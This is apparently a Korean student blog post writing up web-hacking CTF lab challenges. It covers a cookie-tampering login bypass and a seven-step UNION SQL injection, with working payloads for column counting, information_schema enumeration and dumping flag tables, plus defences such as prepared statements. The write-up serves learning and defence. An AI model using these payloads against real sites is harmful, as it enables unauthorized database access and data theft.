해킹스터디

[Normaltic 웹해킹 입문] 6주차 CTF 문제풀이 - Login Bypass(5), SQLi 1

herini0829 2025. 11. 27. 23:40

🕵️ [웹 해킹 스터디 #4] 우회와 정면 돌파: Cookie Bypass와 UNION SQL Injection 7단계

오늘은 Login Bypass 5번 문제의 반전과 함께, **UNION SQL Injection**의 7단계 공격(by normaltic sensei)을 가보겠다!
SQL Injection 2번 문제는 난이도가 상당하여 잠시 미루고, 다음 글에서 따로 다뤄보겠음. (웹 개발 공부도 시급하다! 😥)


1. Login Bypass 5: 터널 시야를 버려라

4번까지 SQLi로 뚫었더니, 5번도 무지성으로 SQL만 파고 있었다. 하지만 답은 의외의 곳에 있었다.

풀이 과정

  1. SQLi로 이것저것 시도했지만 실패.
  2. 혹시나 싶어 Burp Proxy History를 훑어보았다.
  3. index 페이지로 접근하는 Request 패킷에 **쿠키 값**이 있는 것을 확인.
  4. 이 쿠키 값을 normaltic5로 변조하여 전송했더니 **바로 로그인 성공!**

아마도 SQLi만 고집하지 말고, **헤더(Header), 쿠키(Cookie), 파라미터(Parameter) 등 모든 공격 벡터를 점검**하라는 경고의 메시지였던 것 같다. 간결하게 클리어!

🚨 왜 문제인가? (취약점 원인)
쿠키 기반의 클라이언트 측 인증 우회 취약점이다.
서버가 쿠키에 저장된 사용자명(normaltic5)을 인증 없이 그대로 신뢰하여 권한을 부여했기 때문에 발생했다.
🛡️ 어떻게 고쳐야 할까? (대응 방안)
  • 세션/토큰 검증: 사용자의 ID를 쿠키에 평문으로 저장하지 않는다. 대신, 서버에서 발급한 **세션 ID**나 **서명된 JWT 토큰**을 사용하고, 서버에서 해당 세션/토큰의 유효성을 매번 검증해야 한다.

2. SQL Injection 1: UNION 7단계 정복

이제 DB 조회 결과가 화면에 출력되는 전형적인 UNION SQL Injection 문제로 돌아왔다. **노말틱 7단계 공식**을 따라가며 비밀 데이터를 털어보자.

Step 1. SQLi Point 찾기

`adm`으로 검색해보니 `Adminer` 같은 결과가 조회된다. 쿼리가 **대소문자 구분 없이 일부 문자열 포함** 형태로 짜여 있을 것이다. (추정 쿼리: ... WHERE id LIKE '%input%')

  • 공격 페이로드: Adm%' and '1%' = '1
  • 결과: 정상 작동 확인. (**Tip:** 한글에서 쓰는 ‘ ’(따옴표)가 아니라 키보드 '(쿼터)를 복사해서 써야 오류가 안 났다.)

Step 2. 컬럼 수 세어보기 (ORDER BY Trick)

컬럼 수를 모르면 UNION을 쓸 수 없다. ORDER BY로 에러가 날 때까지 숫자를 올린다.

  • Adm%' order by 4 # -> 작동
  • Adm%' order by 5 # -> 에러

결론: **총 4개의 컬럼**으로 구성된 테이블이다.

Step 3. 출력 컬럼 확인

4개 컬럼 중 어디에 데이터를 주입하면 화면에 뜨는지 확인한다.

Adm%' union select 1, 2, 3, 4 #

결과: 1, 2, 3, 4번 컬럼이 화면에 출력되는 것을 확인했다.

Step 4. DB 명 찾기

이제 1, 2, 3, 4번 컬럼 중 하나(예: 2번)에 DB 이름을 출력시켜 본다.

Adm%' union select 1, database(), 3, 4 #

결과: DB명은 sqli_1 이었다.

Step 5. 테이블명 찾기 (Information Schema)

sqli_1 DB 안에 숨겨진 테이블들을 털어보자. MySQL의 **information_schema.tables** 뷰를 사용한다.

Adm%' union select 1, table_name, 3, 4 from information_schema.tables where table_schema='sqli_1' #

결과: flag_table, plusFlag_Table, user_info 등 수상한 테이블 이름을 획득했다.

Step 6. 컬럼명 확인

획득한 테이블별로 어떤 컬럼이 있는지 확인한다. (information_schema.columns 사용)

  • flag_table: flag
  • plusFlag_Table: idx, flag
  • user_info: id, level, rank_point, rate (이것으로 처음 우리가 검색했던 테이블이 user_info임을 추정했다.)

Step 7. 데이터 추출 (Dump)

이제 플래그가 담겨있을 것 같은 테이블들을 공격한다.

  • flag_table 털기:
    Adm%' union select 1, flag, 3, 4 from flag_table #
    -> 플래그 획득!
  • plusFlag_Table 털기:
    Adm%' union select 1, idx, flag, 4 from plusFlag_Table #
    -> 또 다른 플래그 획득!

🛡️ SQL Injection 방어 대책 (모든 SQLi 문제 통합)

Login Bypass, UNION 공격을 통틀어 모든 SQL Injection 문제를 막는 핵심은 단 하나다.

✅ 가장 중요한 방어책: Prepared Statement (파라미터화된 쿼리)
사용자의 입력값(데이터)과 SQL 쿼리 문법(명령어)을 엄격하게 분리하여 처리하는 방식이다.
이렇게 하면 공격자가 '# 같은 특수 문자를 넣어도, DB는 그것을 SQL 문법이 아닌 단순한 **문자열 데이터**로만 인식하게 되어 공격이 원천적으로 차단된다.

SQLi는 대부분 개발자가 "SELECT * FROM user WHERE id = '" + userInput + "'" 처럼 문자열을 직접 합쳐서 쿼리를 만들기 때문에 발생한다. 이 습관만 고치면 SQLi는 대부분 막을 수 있다.


📝 요약 및 다음 계획

Login Bypass 5번을 통해 터널 시야의 위험성을 깨달았고, UNION SQLi는 공식처럼 7단계를 따르면 된다는 확신을 얻었다.

  • 다음 글: SQL Injection 2번 문제 풀이 및 심층 분석

웹 개발 지식이 점점 부족함을 느끼는 중이다. SQLi를 제대로 막으려면 개발 언어별 **Prepared Statement** 사용법을 익혀야겠다. 공부할 게 산더미다! ⛰️